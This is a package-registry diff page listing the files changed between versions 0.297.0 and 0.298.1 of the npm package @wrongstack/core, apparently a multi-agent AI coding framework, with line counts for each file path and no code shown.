@wrongstack/core 0.297.0 → 0.298.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (806) hide show
  1. package/dist/chronicle/index.js +126 -22
  2. package/dist/chronicle/project-server-client.d.ts +12 -0
  3. package/dist/chronicle/project-server-protocol.d.ts +22 -0
  4. package/dist/chronicle/project-server.js +238 -157
  5. package/dist/coordination/agents/index.js +136 -1
  6. package/dist/coordination/agents/role-skills.d.ts +3 -2
  7. package/dist/coordination/brain-trace.d.ts +2 -1
  8. package/dist/coordination/director/director-task-registry.d.ts +12 -0
  9. package/dist/coordination/fleet-supervisor.d.ts +21 -0
  10. package/dist/coordination/index.d.ts +23 -21
  11. package/dist/coordination/index.js +16493 -16068
  12. package/dist/coordination/mail-tools.d.ts +3 -3
  13. package/dist/coordination/mailbox-credential-store.d.ts +22 -2
  14. package/dist/coordination/mailbox-credential-throttle.d.ts +63 -0
  15. package/dist/coordination/mailbox-project-server-client.d.ts +16 -0
  16. package/dist/coordination/mailbox-project-server-protocol.d.ts +43 -5
  17. package/dist/coordination/mailbox-project-server.js +508 -253
  18. package/dist/coordination/provider-status-tracker.d.ts +2 -0
  19. package/dist/coordination/remote-mailbox-credential-store.d.ts +5 -5
  20. package/dist/coordination/remote-mailbox.d.ts +8 -4
  21. package/dist/coordination/sqlite-mailbox-credentials.d.ts +11 -0
  22. package/dist/core/fallback-profile-manager.d.ts +14 -0
  23. package/dist/core/index.js +451 -137
  24. package/dist/core/instruction-bundle.d.ts +12 -0
  25. package/dist/core/system-prompt-builder.d.ts +14 -0
  26. package/dist/core/system-prompt-skill-bodies.d.ts +1 -1
  27. package/dist/core/system-prompt-skill-text.d.ts +1 -2
  28. package/dist/defaults/index.js +2191 -1208
  29. package/dist/design/index.js +47 -8
  30. package/dist/execution/design-materialize.d.ts +22 -0
  31. package/dist/execution/index.js +495 -248
  32. package/dist/execution/skill-loader.d.ts +10 -1
  33. package/dist/execution/tool-error-taxonomy.d.ts +31 -0
  34. package/dist/execution/tool-executor.d.ts +1 -0
  35. package/dist/goal/index.js +3 -1
  36. package/dist/hooks/index.js +5 -0
  37. package/dist/hq/auth-audit.d.ts +6 -0
  38. package/dist/hq/auth-store.d.ts +59 -3
  39. package/dist/hq/index.js +401 -101
  40. package/dist/hq/kanban-store.d.ts +3 -0
  41. package/dist/hq/protocol/core.d.ts +3 -15
  42. package/dist/hq/protocol/envelope.d.ts +29 -0
  43. package/dist/hq/protocol/governance.d.ts +34 -0
  44. package/dist/hq/protocol/project.d.ts +3 -0
  45. package/dist/hq/protocol/resume.d.ts +1 -1
  46. package/dist/hq/protocol.d.ts +9 -8
  47. package/dist/hq/protocol.js +675 -0
  48. package/dist/index.js +9012 -6916
  49. package/dist/infrastructure/index.js +199 -102
  50. package/dist/kernel/events/session-events.d.ts +3 -0
  51. package/dist/kernel/events/tool-events.d.ts +3 -1
  52. package/dist/models/index.js +1 -1
  53. package/dist/observability/index.js +27 -0
  54. package/dist/observability/prometheus.d.ts +11 -0
  55. package/dist/plugin/index.d.ts +5 -1
  56. package/dist/plugin/index.js +988 -558
  57. package/dist/plugins/auto-review-plugin.d.ts +1 -11
  58. package/dist/plugins/review-store-maintenance.d.ts +26 -0
  59. package/dist/plugins/review-types.d.ts +6 -0
  60. package/dist/security/auto-approve-policy.d.ts +37 -0
  61. package/dist/security/capabilities.d.ts +45 -1
  62. package/dist/security/error-sanitize.d.ts +49 -0
  63. package/dist/security/file-permissions.d.ts +41 -0
  64. package/dist/security/index.d.ts +9 -6
  65. package/dist/security/index.js +3008 -2029
  66. package/dist/security/permission-helpers.d.ts +93 -0
  67. package/dist/security/permission-policy.d.ts +37 -35
  68. package/dist/security/secret-vault.d.ts +17 -0
  69. package/dist/security/totp.d.ts +86 -0
  70. package/dist/skills/frontmatter.d.ts +12 -1
  71. package/dist/skills/github-fetcher.d.ts +48 -0
  72. package/dist/skills/index.js +137 -26
  73. package/dist/skills/limits.d.ts +19 -0
  74. package/dist/skills/skill-installer.d.ts +13 -0
  75. package/dist/storage/index.js +929 -733
  76. package/dist/storage/provider-config-watcher.d.ts +1 -0
  77. package/dist/storage/session-helpers.d.ts +1 -0
  78. package/dist/storage/session-store.d.ts +9 -2
  79. package/dist/storage/session-workspace-checkpoints.d.ts +5 -0
  80. package/dist/tools/fallback-manage-tools.d.ts +6 -0
  81. package/dist/tools/index.js +287 -131
  82. package/dist/tools/mcp-use.d.ts +1 -1
  83. package/dist/types/blocks.d.ts +7 -0
  84. package/dist/types/config/autonomy.d.ts +15 -7
  85. package/dist/types/config/mcp-features.d.ts +9 -1
  86. package/dist/types/config/root.d.ts +10 -4
  87. package/dist/types/context-window.d.ts +15 -0
  88. package/dist/types/index.d.ts +1 -1
  89. package/dist/types/secret-vault.d.ts +8 -0
  90. package/dist/types/session.d.ts +2 -0
  91. package/dist/types/skill.d.ts +56 -0
  92. package/dist/types/tool-executor.d.ts +2 -0
  93. package/dist/utils/env-typed.d.ts +64 -0
  94. package/dist/utils/glob-match.d.ts +21 -1
  95. package/dist/utils/heap-watchdog.js +1 -1
  96. package/dist/utils/incoming-images.d.ts +19 -0
  97. package/dist/utils/index.d.ts +16 -12
  98. package/dist/utils/index.js +3128 -2800
  99. package/dist/utils/path-segment.d.ts +29 -0
  100. package/dist/utils/sage-output-block.js +48 -0
  101. package/dist/utils/win32-cmd.d.ts +25 -0
  102. package/dist/worktree/index.js +5 -0
  103. package/instructions/llm/chimera-review.md +4 -6
  104. package/package.json +13 -4
  105. package/skills/auto-review/SKILL.md +11 -76
  106. package/skills/chimera/SKILL.md +31 -49
  107. package/skills/data-governance/SKILL.md +92 -0
  108. package/skills/wrongstack-kanban/SKILL.md +125 -64
  109. package/dist/agent-status-helpers.d.ts.map +0 -1
  110. package/dist/agent-status-tracker.d.ts.map +0 -1
  111. package/dist/boot.d.ts.map +0 -1
  112. package/dist/chronicle/context.d.ts.map +0 -1
  113. package/dist/chronicle/decision-adapter.d.ts.map +0 -1
  114. package/dist/chronicle/domain-adapter.d.ts.map +0 -1
  115. package/dist/chronicle/event-hash.d.ts.map +0 -1
  116. package/dist/chronicle/file-observer.d.ts.map +0 -1
  117. package/dist/chronicle/health-monitor.d.ts.map +0 -1
  118. package/dist/chronicle/identity.d.ts.map +0 -1
  119. package/dist/chronicle/index.d.ts.map +0 -1
  120. package/dist/chronicle/index.js.map +0 -7
  121. package/dist/chronicle/journal.d.ts.map +0 -1
  122. package/dist/chronicle/legacy-journal-import.d.ts.map +0 -1
  123. package/dist/chronicle/metrics-store.d.ts.map +0 -1
  124. package/dist/chronicle/partition-filename.d.ts.map +0 -1
  125. package/dist/chronicle/partition-range-cache.d.ts.map +0 -1
  126. package/dist/chronicle/process-adapter.d.ts.map +0 -1
  127. package/dist/chronicle/project-access.d.ts.map +0 -1
  128. package/dist/chronicle/project-server-client.d.ts.map +0 -1
  129. package/dist/chronicle/project-server-endpoint.d.ts.map +0 -1
  130. package/dist/chronicle/project-server-protocol.d.ts.map +0 -1
  131. package/dist/chronicle/project-server.d.ts.map +0 -1
  132. package/dist/chronicle/project-server.js.map +0 -7
  133. package/dist/chronicle/prompt-manifest.d.ts.map +0 -1
  134. package/dist/chronicle/provider-adapter.d.ts.map +0 -1
  135. package/dist/chronicle/query.d.ts.map +0 -1
  136. package/dist/chronicle/review-adapter.d.ts.map +0 -1
  137. package/dist/chronicle/rollup-adapter.d.ts.map +0 -1
  138. package/dist/chronicle/sink.d.ts.map +0 -1
  139. package/dist/chronicle/sqlite-journal.d.ts.map +0 -1
  140. package/dist/chronicle/sqlite-query.d.ts.map +0 -1
  141. package/dist/chronicle/stream-adapter.d.ts.map +0 -1
  142. package/dist/chronicle/tool-adapter.d.ts.map +0 -1
  143. package/dist/chronicle/types.d.ts.map +0 -1
  144. package/dist/coordination/adaptive-concurrency.d.ts.map +0 -1
  145. package/dist/coordination/agent-bridge.d.ts.map +0 -1
  146. package/dist/coordination/agent-monitor.d.ts.map +0 -1
  147. package/dist/coordination/agent-subagent-runner.d.ts.map +0 -1
  148. package/dist/coordination/agents/agent-prompts.d.ts.map +0 -1
  149. package/dist/coordination/agents/index.d.ts.map +0 -1
  150. package/dist/coordination/agents/index.js.map +0 -7
  151. package/dist/coordination/agents/phase1-discovery.d.ts.map +0 -1
  152. package/dist/coordination/agents/phase2-planning.d.ts.map +0 -1
  153. package/dist/coordination/agents/phase3-build.d.ts.map +0 -1
  154. package/dist/coordination/agents/phase3-techstack.d.ts.map +0 -1
  155. package/dist/coordination/agents/phase3-wave1-platform.d.ts.map +0 -1
  156. package/dist/coordination/agents/phase3-wave2-meta.d.ts.map +0 -1
  157. package/dist/coordination/agents/phase4-verify.d.ts.map +0 -1
  158. package/dist/coordination/agents/phase5-review.d.ts.map +0 -1
  159. package/dist/coordination/agents/phase6-domain.d.ts.map +0 -1
  160. package/dist/coordination/agents/phase7-knowledge.d.ts.map +0 -1
  161. package/dist/coordination/agents/phase8-delivery.d.ts.map +0 -1
  162. package/dist/coordination/agents/phase8-wave3-products.d.ts.map +0 -1
  163. package/dist/coordination/agents/phase9-meta.d.ts.map +0 -1
  164. package/dist/coordination/agents/phase9-wave4-platform-meta.d.ts.map +0 -1
  165. package/dist/coordination/agents/project-agent-config-validation.d.ts.map +0 -1
  166. package/dist/coordination/agents/project-agent-consolidation.d.ts.map +0 -1
  167. package/dist/coordination/agents/project-agent-files.d.ts.map +0 -1
  168. package/dist/coordination/agents/project-agent-identity-types.d.ts.map +0 -1
  169. package/dist/coordination/agents/project-agent-identity.d.ts.map +0 -1
  170. package/dist/coordination/agents/project-agent-knowledge-manifests.d.ts.map +0 -1
  171. package/dist/coordination/agents/project-agent-learning-entries.d.ts.map +0 -1
  172. package/dist/coordination/agents/project-agent-learning-normalize.d.ts.map +0 -1
  173. package/dist/coordination/agents/project-agent-learning-policy.d.ts.map +0 -1
  174. package/dist/coordination/agents/project-agent-learning-structured.d.ts.map +0 -1
  175. package/dist/coordination/agents/project-agent-paths.d.ts.map +0 -1
  176. package/dist/coordination/agents/project-agent-profile.d.ts.map +0 -1
  177. package/dist/coordination/agents/role-skills.d.ts.map +0 -1
  178. package/dist/coordination/agents/types.d.ts.map +0 -1
  179. package/dist/coordination/agents.d.ts.map +0 -1
  180. package/dist/coordination/auto-extend.d.ts.map +0 -1
  181. package/dist/coordination/autonomous-brain.d.ts.map +0 -1
  182. package/dist/coordination/autonomous-coordinator.d.ts.map +0 -1
  183. package/dist/coordination/brain-cache.d.ts.map +0 -1
  184. package/dist/coordination/brain-heuristics.d.ts.map +0 -1
  185. package/dist/coordination/brain-ledger.d.ts.map +0 -1
  186. package/dist/coordination/brain-monitor.d.ts.map +0 -1
  187. package/dist/coordination/brain-rules.d.ts.map +0 -1
  188. package/dist/coordination/brain-telemetry.d.ts.map +0 -1
  189. package/dist/coordination/brain-trace.d.ts.map +0 -1
  190. package/dist/coordination/brain.d.ts.map +0 -1
  191. package/dist/coordination/change-manager.d.ts.map +0 -1
  192. package/dist/coordination/checkpoint-wiring.d.ts.map +0 -1
  193. package/dist/coordination/collab-bus.d.ts.map +0 -1
  194. package/dist/coordination/collab-debug-types.d.ts.map +0 -1
  195. package/dist/coordination/collab-debug.d.ts.map +0 -1
  196. package/dist/coordination/collab-director-host.d.ts.map +0 -1
  197. package/dist/coordination/commit-safety.d.ts.map +0 -1
  198. package/dist/coordination/consensus-protocol.d.ts.map +0 -1
  199. package/dist/coordination/coordinator/error-classifier.d.ts.map +0 -1
  200. package/dist/coordination/delegate-tool.d.ts.map +0 -1
  201. package/dist/coordination/dep-watcher-bridge.d.ts.map +0 -1
  202. package/dist/coordination/dep-watcher.d.ts.map +0 -1
  203. package/dist/coordination/director/director-btw-notes.d.ts.map +0 -1
  204. package/dist/coordination/director/director-budget-policy.d.ts.map +0 -1
  205. package/dist/coordination/director/director-collab.d.ts.map +0 -1
  206. package/dist/coordination/director/director-errors.d.ts.map +0 -1
  207. package/dist/coordination/director/director-task-registry.d.ts.map +0 -1
  208. package/dist/coordination/director/director-toolset.d.ts.map +0 -1
  209. package/dist/coordination/director-basic-tools.d.ts.map +0 -1
  210. package/dist/coordination/director-collab-tools.d.ts.map +0 -1
  211. package/dist/coordination/director-host-contracts.d.ts.map +0 -1
  212. package/dist/coordination/director-input-helpers.d.ts.map +0 -1
  213. package/dist/coordination/director-kanban-queue-helpers.d.ts.map +0 -1
  214. package/dist/coordination/director-options.d.ts.map +0 -1
  215. package/dist/coordination/director-prompts.d.ts.map +0 -1
  216. package/dist/coordination/director-quality-gate-tool.d.ts.map +0 -1
  217. package/dist/coordination/director-session.d.ts.map +0 -1
  218. package/dist/coordination/director-spawn-model.d.ts.map +0 -1
  219. package/dist/coordination/director-tools.d.ts.map +0 -1
  220. package/dist/coordination/director.d.ts.map +0 -1
  221. package/dist/coordination/dispatcher.d.ts.map +0 -1
  222. package/dist/coordination/file-author-tracker.d.ts.map +0 -1
  223. package/dist/coordination/fleet-bus.d.ts.map +0 -1
  224. package/dist/coordination/fleet-event-validation.d.ts.map +0 -1
  225. package/dist/coordination/fleet-manager.d.ts.map +0 -1
  226. package/dist/coordination/fleet-spawn.d.ts.map +0 -1
  227. package/dist/coordination/fleet-status-tool.d.ts.map +0 -1
  228. package/dist/coordination/fleet-supervisor.d.ts.map +0 -1
  229. package/dist/coordination/fleet.d.ts.map +0 -1
  230. package/dist/coordination/global-mailbox-completion.d.ts.map +0 -1
  231. package/dist/coordination/global-mailbox-paths.d.ts.map +0 -1
  232. package/dist/coordination/icoordinator.d.ts.map +0 -1
  233. package/dist/coordination/ifleet-manager.d.ts.map +0 -1
  234. package/dist/coordination/in-memory-transport.d.ts.map +0 -1
  235. package/dist/coordination/index.d.ts.map +0 -1
  236. package/dist/coordination/index.js.map +0 -7
  237. package/dist/coordination/knowledge-graph.d.ts.map +0 -1
  238. package/dist/coordination/large-answer-store.d.ts.map +0 -1
  239. package/dist/coordination/mail-tools.d.ts.map +0 -1
  240. package/dist/coordination/mailbox-actions.d.ts.map +0 -1
  241. package/dist/coordination/mailbox-auth-types.d.ts.map +0 -1
  242. package/dist/coordination/mailbox-codecs.d.ts.map +0 -1
  243. package/dist/coordination/mailbox-constants.d.ts.map +0 -1
  244. package/dist/coordination/mailbox-credential-store.d.ts.map +0 -1
  245. package/dist/coordination/mailbox-events.d.ts.map +0 -1
  246. package/dist/coordination/mailbox-health.d.ts.map +0 -1
  247. package/dist/coordination/mailbox-hooks.d.ts.map +0 -1
  248. package/dist/coordination/mailbox-http-auth.d.ts.map +0 -1
  249. package/dist/coordination/mailbox-http-rate-limit.d.ts.map +0 -1
  250. package/dist/coordination/mailbox-http-router.d.ts.map +0 -1
  251. package/dist/coordination/mailbox-http-validation.d.ts.map +0 -1
  252. package/dist/coordination/mailbox-message-codec.d.ts.map +0 -1
  253. package/dist/coordination/mailbox-parse-state.d.ts.map +0 -1
  254. package/dist/coordination/mailbox-project-server-client.d.ts.map +0 -1
  255. package/dist/coordination/mailbox-project-server-endpoint.d.ts.map +0 -1
  256. package/dist/coordination/mailbox-project-server-protocol.d.ts.map +0 -1
  257. package/dist/coordination/mailbox-project-server.d.ts.map +0 -1
  258. package/dist/coordination/mailbox-project-server.js.map +0 -7
  259. package/dist/coordination/mailbox-receipt-folding.d.ts.map +0 -1
  260. package/dist/coordination/mailbox-registry-codec.d.ts.map +0 -1
  261. package/dist/coordination/mailbox-retention-state.d.ts.map +0 -1
  262. package/dist/coordination/mailbox-status-mappers.d.ts.map +0 -1
  263. package/dist/coordination/mailbox-tool.d.ts.map +0 -1
  264. package/dist/coordination/mailbox-type-properties.d.ts.map +0 -1
  265. package/dist/coordination/mailbox-types.d.ts.map +0 -1
  266. package/dist/coordination/model-matrix.d.ts.map +0 -1
  267. package/dist/coordination/multi-agent-coordinator.d.ts.map +0 -1
  268. package/dist/coordination/multi-agent-timeout.d.ts.map +0 -1
  269. package/dist/coordination/null-fleet-bus.d.ts.map +0 -1
  270. package/dist/coordination/package-author-tracker.d.ts.map +0 -1
  271. package/dist/coordination/package-outdated-watcher.d.ts.map +0 -1
  272. package/dist/coordination/provider-status-tracker.d.ts.map +0 -1
  273. package/dist/coordination/remote-mailbox-credential-store.d.ts.map +0 -1
  274. package/dist/coordination/remote-mailbox.d.ts.map +0 -1
  275. package/dist/coordination/single-instance-mailbox.d.ts.map +0 -1
  276. package/dist/coordination/spawn-budget.d.ts.map +0 -1
  277. package/dist/coordination/sqlite-mailbox-compaction.d.ts.map +0 -1
  278. package/dist/coordination/sqlite-mailbox-credentials.d.ts.map +0 -1
  279. package/dist/coordination/sqlite-mailbox-rows.d.ts.map +0 -1
  280. package/dist/coordination/sqlite-mailbox-schema.d.ts.map +0 -1
  281. package/dist/coordination/sqlite-mailbox.d.ts.map +0 -1
  282. package/dist/coordination/subagent-budget.d.ts.map +0 -1
  283. package/dist/coordination/subagent-nicknames.d.ts.map +0 -1
  284. package/dist/coordination/subagent-result-tool.d.ts.map +0 -1
  285. package/dist/coordination/task-auctioneer.d.ts.map +0 -1
  286. package/dist/coordination/task-dag.d.ts.map +0 -1
  287. package/dist/coordination/techstack-mailbox-consumer.d.ts.map +0 -1
  288. package/dist/coordination/transport.d.ts.map +0 -1
  289. package/dist/coordination/worktree-task-runner.d.ts.map +0 -1
  290. package/dist/core/agent-internals.d.ts.map +0 -1
  291. package/dist/core/agent-loop.d.ts.map +0 -1
  292. package/dist/core/agent-response.d.ts.map +0 -1
  293. package/dist/core/agent-tools.d.ts.map +0 -1
  294. package/dist/core/agent-types.d.ts.map +0 -1
  295. package/dist/core/agent.d.ts.map +0 -1
  296. package/dist/core/btw.d.ts.map +0 -1
  297. package/dist/core/context.d.ts.map +0 -1
  298. package/dist/core/continue-intent.d.ts.map +0 -1
  299. package/dist/core/continue-to-next-iteration.d.ts.map +0 -1
  300. package/dist/core/conversation-state.d.ts.map +0 -1
  301. package/dist/core/fallback-model.d.ts.map +0 -1
  302. package/dist/core/fallback-profile-manager.d.ts.map +0 -1
  303. package/dist/core/fleet-pulse.d.ts.map +0 -1
  304. package/dist/core/index.d.ts.map +0 -1
  305. package/dist/core/index.js.map +0 -7
  306. package/dist/core/input-builder.d.ts.map +0 -1
  307. package/dist/core/instruction-bundle.d.ts.map +0 -1
  308. package/dist/core/iteration-limit.d.ts.map +0 -1
  309. package/dist/core/mailbox-loop.d.ts.map +0 -1
  310. package/dist/core/model-availability-calendar.d.ts.map +0 -1
  311. package/dist/core/model-ref.d.ts.map +0 -1
  312. package/dist/core/model-ref.js.map +0 -7
  313. package/dist/core/modes/brief.d.ts.map +0 -1
  314. package/dist/core/modes/default.d.ts.map +0 -1
  315. package/dist/core/modes/teach.d.ts.map +0 -1
  316. package/dist/core/provider-runner.d.ts.map +0 -1
  317. package/dist/core/queued-messages.d.ts.map +0 -1
  318. package/dist/core/request-provider-binding.d.ts.map +0 -1
  319. package/dist/core/run-env.d.ts.map +0 -1
  320. package/dist/core/streaming-response-builder.d.ts.map +0 -1
  321. package/dist/core/system-prompt-blocks.d.ts.map +0 -1
  322. package/dist/core/system-prompt-builder.d.ts.map +0 -1
  323. package/dist/core/system-prompt-environment-probes.d.ts.map +0 -1
  324. package/dist/core/system-prompt-environment.d.ts.map +0 -1
  325. package/dist/core/system-prompt-memory-skills.d.ts.map +0 -1
  326. package/dist/core/system-prompt-plan.d.ts.map +0 -1
  327. package/dist/core/system-prompt-shell.d.ts.map +0 -1
  328. package/dist/core/system-prompt-skill-bodies.d.ts.map +0 -1
  329. package/dist/core/system-prompt-skill-text.d.ts.map +0 -1
  330. package/dist/defaults/index.d.ts.map +0 -1
  331. package/dist/defaults/index.js.map +0 -7
  332. package/dist/design/index.d.ts.map +0 -1
  333. package/dist/design/index.js.map +0 -7
  334. package/dist/execution/auto-compaction-middleware.d.ts.map +0 -1
  335. package/dist/execution/autonomous-runner.d.ts.map +0 -1
  336. package/dist/execution/autonomy-brain.d.ts.map +0 -1
  337. package/dist/execution/autonomy-prompt-contributor.d.ts.map +0 -1
  338. package/dist/execution/brain-chain.d.ts.map +0 -1
  339. package/dist/execution/brain-circuit.d.ts.map +0 -1
  340. package/dist/execution/brain-evaluation.d.ts.map +0 -1
  341. package/dist/execution/brain-runtime-constants.d.ts.map +0 -1
  342. package/dist/execution/brain-runtime.d.ts.map +0 -1
  343. package/dist/execution/compaction-core.d.ts.map +0 -1
  344. package/dist/execution/compaction-scoring.d.ts.map +0 -1
  345. package/dist/execution/compaction-summary-cache.d.ts.map +0 -1
  346. package/dist/execution/compactor.d.ts.map +0 -1
  347. package/dist/execution/council-brain.d.ts.map +0 -1
  348. package/dist/execution/council-orchestrator.d.ts.map +0 -1
  349. package/dist/execution/council-personas.d.ts.map +0 -1
  350. package/dist/execution/council-profiles.d.ts.map +0 -1
  351. package/dist/execution/council-prompts.d.ts.map +0 -1
  352. package/dist/execution/council-resolution.d.ts.map +0 -1
  353. package/dist/execution/design-color.d.ts.map +0 -1
  354. package/dist/execution/design-detect.d.ts.map +0 -1
  355. package/dist/execution/design-kit-loader.d.ts.map +0 -1
  356. package/dist/execution/design-materialize.d.ts.map +0 -1
  357. package/dist/execution/design-project-store.d.ts.map +0 -1
  358. package/dist/execution/design-tune.d.ts.map +0 -1
  359. package/dist/execution/design-verify.d.ts.map +0 -1
  360. package/dist/execution/enhance-recovery.d.ts.map +0 -1
  361. package/dist/execution/error-handler.d.ts.map +0 -1
  362. package/dist/execution/eternal-autonomy-types.d.ts.map +0 -1
  363. package/dist/execution/eternal-autonomy.d.ts.map +0 -1
  364. package/dist/execution/goal-preamble.d.ts.map +0 -1
  365. package/dist/execution/index.d.ts.map +0 -1
  366. package/dist/execution/index.js.map +0 -7
  367. package/dist/execution/intelligent-compactor.d.ts.map +0 -1
  368. package/dist/execution/model-runtime.d.ts.map +0 -1
  369. package/dist/execution/one-shot-llm.d.ts.map +0 -1
  370. package/dist/execution/parallel-eternal-engine.d.ts.map +0 -1
  371. package/dist/execution/prompt-enhancer.d.ts.map +0 -1
  372. package/dist/execution/prompt-enhancer.js.map +0 -7
  373. package/dist/execution/prompt-loader.d.ts.map +0 -1
  374. package/dist/execution/provider-runner-impl.d.ts.map +0 -1
  375. package/dist/execution/regex-patterns.d.ts.map +0 -1
  376. package/dist/execution/retry-policy.d.ts.map +0 -1
  377. package/dist/execution/selective-compactor.d.ts.map +0 -1
  378. package/dist/execution/skill-loader.d.ts.map +0 -1
  379. package/dist/execution/strategy-compactor.d.ts.map +0 -1
  380. package/dist/execution/subagent-compaction.d.ts.map +0 -1
  381. package/dist/execution/tool-executor-logging.d.ts.map +0 -1
  382. package/dist/execution/tool-executor-results.d.ts.map +0 -1
  383. package/dist/execution/tool-executor-stream.d.ts.map +0 -1
  384. package/dist/execution/tool-executor-support.d.ts.map +0 -1
  385. package/dist/execution/tool-executor.d.ts.map +0 -1
  386. package/dist/extension/extension-points.d.ts.map +0 -1
  387. package/dist/extension/index.d.ts.map +0 -1
  388. package/dist/extension/index.js.map +0 -7
  389. package/dist/extension/registry.d.ts.map +0 -1
  390. package/dist/fleet-notifier.d.ts.map +0 -1
  391. package/dist/goal/checkpoint.d.ts.map +0 -1
  392. package/dist/goal/goal-assessor.d.ts.map +0 -1
  393. package/dist/goal/goal-planner.d.ts.map +0 -1
  394. package/dist/goal/goal-runner.d.ts.map +0 -1
  395. package/dist/goal/index.d.ts.map +0 -1
  396. package/dist/goal/index.js.map +0 -7
  397. package/dist/goal/phase-board-mutations.d.ts.map +0 -1
  398. package/dist/goal/phase-graph-builder.d.ts.map +0 -1
  399. package/dist/goal/phase-orchestrator-integration.d.ts.map +0 -1
  400. package/dist/goal/phase-orchestrator-queries.d.ts.map +0 -1
  401. package/dist/goal/phase-orchestrator-runtime.d.ts.map +0 -1
  402. package/dist/goal/phase-orchestrator-types.d.ts.map +0 -1
  403. package/dist/goal/phase-orchestrator.d.ts.map +0 -1
  404. package/dist/goal/phase-store.d.ts.map +0 -1
  405. package/dist/goal/types.d.ts.map +0 -1
  406. package/dist/hooks/http-executor.d.ts.map +0 -1
  407. package/dist/hooks/index.d.ts.map +0 -1
  408. package/dist/hooks/index.js.map +0 -7
  409. package/dist/hooks/registry.d.ts.map +0 -1
  410. package/dist/hooks/runner.d.ts.map +0 -1
  411. package/dist/hooks/shell-executor.d.ts.map +0 -1
  412. package/dist/hooks/shell-hooks-equal.d.ts.map +0 -1
  413. package/dist/hq/alerts.d.ts.map +0 -1
  414. package/dist/hq/auth-audit.d.ts.map +0 -1
  415. package/dist/hq/auth-store.d.ts.map +0 -1
  416. package/dist/hq/bootstrap-store.d.ts.map +0 -1
  417. package/dist/hq/brain-bridge.d.ts.map +0 -1
  418. package/dist/hq/bridge-context.d.ts.map +0 -1
  419. package/dist/hq/commands.d.ts.map +0 -1
  420. package/dist/hq/cost-bridge.d.ts.map +0 -1
  421. package/dist/hq/exposure.d.ts.map +0 -1
  422. package/dist/hq/factory.d.ts.map +0 -1
  423. package/dist/hq/fleet-bridge.d.ts.map +0 -1
  424. package/dist/hq/index.d.ts.map +0 -1
  425. package/dist/hq/index.js.map +0 -7
  426. package/dist/hq/kanban-store.d.ts.map +0 -1
  427. package/dist/hq/mailbox-mapper.d.ts.map +0 -1
  428. package/dist/hq/persistence/event-log.d.ts.map +0 -1
  429. package/dist/hq/persistence/jsonl-io.d.ts.map +0 -1
  430. package/dist/hq/persistence/simple-log.d.ts.map +0 -1
  431. package/dist/hq/persistence/snapshot-store.d.ts.map +0 -1
  432. package/dist/hq/persistence/timeseries-store.d.ts.map +0 -1
  433. package/dist/hq/persistence.d.ts.map +0 -1
  434. package/dist/hq/protocol/brain.d.ts.map +0 -1
  435. package/dist/hq/protocol/browser.d.ts.map +0 -1
  436. package/dist/hq/protocol/client.d.ts.map +0 -1
  437. package/dist/hq/protocol/core.d.ts.map +0 -1
  438. package/dist/hq/protocol/fleet.d.ts.map +0 -1
  439. package/dist/hq/protocol/kanban.d.ts.map +0 -1
  440. package/dist/hq/protocol/mailbox.d.ts.map +0 -1
  441. package/dist/hq/protocol/mcp.d.ts.map +0 -1
  442. package/dist/hq/protocol/peer.d.ts.map +0 -1
  443. package/dist/hq/protocol/project.d.ts.map +0 -1
  444. package/dist/hq/protocol/resume.d.ts.map +0 -1
  445. package/dist/hq/protocol/session.d.ts.map +0 -1
  446. package/dist/hq/protocol/tool.d.ts.map +0 -1
  447. package/dist/hq/protocol.d.ts.map +0 -1
  448. package/dist/hq/publisher.d.ts.map +0 -1
  449. package/dist/hq/redaction.d.ts.map +0 -1
  450. package/dist/hq/session-bridge.d.ts.map +0 -1
  451. package/dist/hq/tool-bridge.d.ts.map +0 -1
  452. package/dist/hq/transcript-mapper.d.ts.map +0 -1
  453. package/dist/hq/worktree-bridge.d.ts.map +0 -1
  454. package/dist/hq/write-queues.d.ts.map +0 -1
  455. package/dist/index.d.ts.map +0 -1
  456. package/dist/index.js.map +0 -7
  457. package/dist/infrastructure/context-manager.d.ts.map +0 -1
  458. package/dist/infrastructure/index.d.ts.map +0 -1
  459. package/dist/infrastructure/index.js.map +0 -7
  460. package/dist/infrastructure/logger.d.ts.map +0 -1
  461. package/dist/infrastructure/mcp-servers.d.ts.map +0 -1
  462. package/dist/infrastructure/path-resolver.d.ts.map +0 -1
  463. package/dist/infrastructure/provider-cache-ledger.d.ts.map +0 -1
  464. package/dist/infrastructure/token-counter.d.ts.map +0 -1
  465. package/dist/kernel/container.d.ts.map +0 -1
  466. package/dist/kernel/events/agent-events.d.ts.map +0 -1
  467. package/dist/kernel/events/brain-events.d.ts.map +0 -1
  468. package/dist/kernel/events/file-events.d.ts.map +0 -1
  469. package/dist/kernel/events/fleet-events.d.ts.map +0 -1
  470. package/dist/kernel/events/memory-events.d.ts.map +0 -1
  471. package/dist/kernel/events/network-events.d.ts.map +0 -1
  472. package/dist/kernel/events/process-events.d.ts.map +0 -1
  473. package/dist/kernel/events/provider-events.d.ts.map +0 -1
  474. package/dist/kernel/events/sdd-events.d.ts.map +0 -1
  475. package/dist/kernel/events/session-events.d.ts.map +0 -1
  476. package/dist/kernel/events/tool-events.d.ts.map +0 -1
  477. package/dist/kernel/events/worktree-events.d.ts.map +0 -1
  478. package/dist/kernel/events.d.ts.map +0 -1
  479. package/dist/kernel/index.d.ts.map +0 -1
  480. package/dist/kernel/index.js.map +0 -7
  481. package/dist/kernel/pipeline.d.ts.map +0 -1
  482. package/dist/kernel/run-controller.d.ts.map +0 -1
  483. package/dist/kernel/tokens.d.ts.map +0 -1
  484. package/dist/mailbox-attach.d.ts.map +0 -1
  485. package/dist/middleware/collab-pause.d.ts.map +0 -1
  486. package/dist/models/alibaba-token-plan-catalog.d.ts.map +0 -1
  487. package/dist/models/codex-catalog.d.ts.map +0 -1
  488. package/dist/models/index.d.ts.map +0 -1
  489. package/dist/models/index.js.map +0 -7
  490. package/dist/models/llm-selector.d.ts.map +0 -1
  491. package/dist/models/mode-store.d.ts.map +0 -1
  492. package/dist/models/model-intelligence.d.ts.map +0 -1
  493. package/dist/models/model-router.d.ts.map +0 -1
  494. package/dist/models/models-registry.d.ts.map +0 -1
  495. package/dist/models/provider-model-resolve.d.ts.map +0 -1
  496. package/dist/notifications/index.d.ts.map +0 -1
  497. package/dist/notifications/index.js.map +0 -7
  498. package/dist/notifications/notifier-impl.d.ts.map +0 -1
  499. package/dist/notifications/notifier.d.ts.map +0 -1
  500. package/dist/notifications/types.d.ts.map +0 -1
  501. package/dist/observability/event-bridge.d.ts.map +0 -1
  502. package/dist/observability/health.d.ts.map +0 -1
  503. package/dist/observability/index.d.ts.map +0 -1
